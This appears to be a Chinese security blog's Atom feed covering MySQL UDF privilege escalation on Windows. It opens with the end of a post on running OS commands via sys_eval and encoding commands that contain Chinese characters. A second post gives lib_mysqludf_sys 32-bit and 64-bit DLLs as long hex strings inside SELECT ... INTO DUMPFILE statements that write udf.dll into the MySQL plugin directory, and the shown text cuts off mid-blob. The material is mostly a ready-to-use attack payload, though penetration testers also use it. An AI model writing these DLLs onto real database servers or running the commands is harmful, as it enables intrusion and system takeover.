id="命令中非ascii字符处理"><a class="markdownIt-Anchor" href="#命令中非ascii字符处理"></a> 命令中非ASCII字符处理</h4><p>当命令参数包含中文，由于MySQL输入会根据默认字符集(<code>utf8mb4</code>/<code>latin1</code>)编码对应的命令进入命令行解释器</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select convert(sys_eval(&#x27;dir F:\\黑子&#x27;) using gbk);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250808111605528.png" alt="" /></p><p>发现中文消失不见了，如何解决呢？</p><h5 id="16进制编码"><a class="markdownIt-Anchor" href="#16进制编码"></a> 16进制编码</h5><p>使用CyberChef将命令转换为对应编码的十六进制</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250808111658679.png" alt="" /></p><p>然后使用十六进制替代原有的字符串，防止MySQL因为默认编码问题导致的含有中文命令执行错误问题</p><p><mark>注意：16进制编码时不用多加个<code>\</code>进行转义</mark></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select convert(sys_eval(0x64697220463a5cbadad7d3) using gbk);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250808111819341.png" alt="" /></p><h5 id="编码函数"><a class="markdownIt-Anchor" href="#编码函数"></a> 编码函数</h5><p>既然又是编码问题，那再次使用MySQL的编码转化的函数不就好了吗？何必转成16进制这么麻烦</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select convert(sys_eval(convert(&#x27;dir F:\\黑子&#x27; using gbk)) using gbk);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250808111807635.png" alt="" /></p><blockquote><p>参考：</p><p><a href="https://blog.csdn.net/qq_44159028/article/details/121193134">Mysql之UDF提权 | 白泽</a></p><p><a href="https://blog.csdn.net/qq_36119192/article/details/84863268">MySQL UDF提权执行系统命令 | 白泽</a></p><p><a href="https://www.sqlsec.com/2020/11/mysql.html#UDF-%E6%8F%90%E6%9D%83">MySQL 漏洞利用与提权 | 国光</a></p><p><a href="https://www.cnblogs.com/reuodut/articles/11447028.html">Sql注入-Windows下利用udf提权</a></p><p><a href="https://www.freebuf.com/articles/system/163144.html">利用MySQL UDF进行的一次渗透测试</a></p><p><a href="https://xz.aliyun.com/news/18531">数据库提权中的字符集挑战 | Wells</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/08/08/MySQL%20UDF%E6%8F%90%E6%9D%83/</id>
    <link href="https://hackun.top/2025/08/08/MySQL%20UDF%E6%8F%90%E6%9D%83/"/>
    <published>2025-08-08T03:20:42.778Z</published>
    <summary>
      <![CDATA[<p>本文解析Windows环境下的MySQL UDF提权</p>]]>
    </summary>
    <title>MySQL UDF提权</title>
    <updated>2025-08-08T03:20:02.954Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="MySQL" scheme="https://hackun.top/categories/MySQL/"/>
    <category term="提权" scheme="https://hackun.top/categories/MySQL/%E6%8F%90%E6%9D%83/"/>
    <category term="MySQL" scheme="https://hackun.top/tags/MySQL/"/>
    <category term="提权" scheme="https://hackun.top/tags/%E6%8F%90%E6%9D%83/"/>
    <category term="UDF" scheme="https://hackun.top/tags/UDF/"/>
    <content>
      <![CDATA[<p>本文提供UDF提权中dll文件查询使用</p><span id="more"></span><h1 id="mysql-udf提权16进制查询"><a class="markdownIt-Anchor" href="#mysql-udf提权16进制查询"></a> MySQL UDF提权16进制查询</h1><div class="tag-plugin tabs" align="center"id="tab_1"><div class="nav-tabs"><div class="tab active"><a href="#tab_1-1">Windows</a></div><div class="tab"><a href="#tab_1-2">Linux</a></div></div><div class="tab-content"><div class="tab-pane active" id="tab_1-1"><details class="tag-plugin colorful folding" color="yellow" child="codeblock" open><summary><p>lib_mysqludf_sys_32.dll</p></summary><div class="body"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE &#x27;D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll&#x27;;</span><br></pre></td></tr></table></figure></div></details><details class="tag-plugin colorful folding" color="yellow" child="codeblock" open><summary><p>lib_mysqludf_sys_64.dll</p></summary><div class="body"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d805100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415beb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843a0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e83affffffeb835e4889f7b900120000b2004889fbeb2c8a074883c7013c80720a3c8f7706807ffe0f74062ce83c0177233817751f8b072500ffffff0fc829f801d8ab4883e9048a074883c70148ffc975d9eb0548ffc975be4883ec28488dbe007000008b0709c0744f8b5f04488d8c30b0a100004801f34883c708ff96eca1000048958a0748ffc708c